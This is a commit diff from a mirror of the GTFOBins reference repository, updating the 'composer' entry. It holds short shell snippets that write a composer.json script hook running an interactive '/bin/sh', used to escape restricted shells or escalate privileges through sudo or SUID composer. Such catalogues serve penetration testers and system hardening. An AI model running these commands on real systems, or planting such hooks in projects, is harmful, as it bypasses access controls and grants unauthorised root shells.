mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-24 13:59:17 +01:00
Update composer
- align to the GTFOBins conventions - avoid Python - use limited SUID instead of just SUID
This commit is contained in:
parent
deaf47943f
commit
03c30e9944
@ -1,23 +1,18 @@
|
||||
---
|
||||
functions:
|
||||
suid:
|
||||
shell:
|
||||
- code: |
|
||||
cat << EOF > composer.json
|
||||
{
|
||||
"scripts": {
|
||||
"command": "python3 -c 'import pty;pty.spawn(\"bash\")'"
|
||||
}
|
||||
}
|
||||
EOF
|
||||
./composer run-script command
|
||||
TF=$(mktemp -d)
|
||||
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
|
||||
composer --working-dir=$TF run-script x
|
||||
limited-suid:
|
||||
- code: |
|
||||
TF=$(mktemp -d)
|
||||
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
|
||||
./composer --working-dir=$TF run-script x
|
||||
sudo:
|
||||
- code: |
|
||||
cat << EOF > composer.json
|
||||
{
|
||||
"scripts": {
|
||||
"command": "python3 -c 'import pty;pty.spawn(\"bash\")'"
|
||||
}
|
||||
}
|
||||
EOF
|
||||
composer run-script command
|
||||
TF=$(mktemp -d)
|
||||
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
|
||||
sudo composer --working-dir=$TF run-script x
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user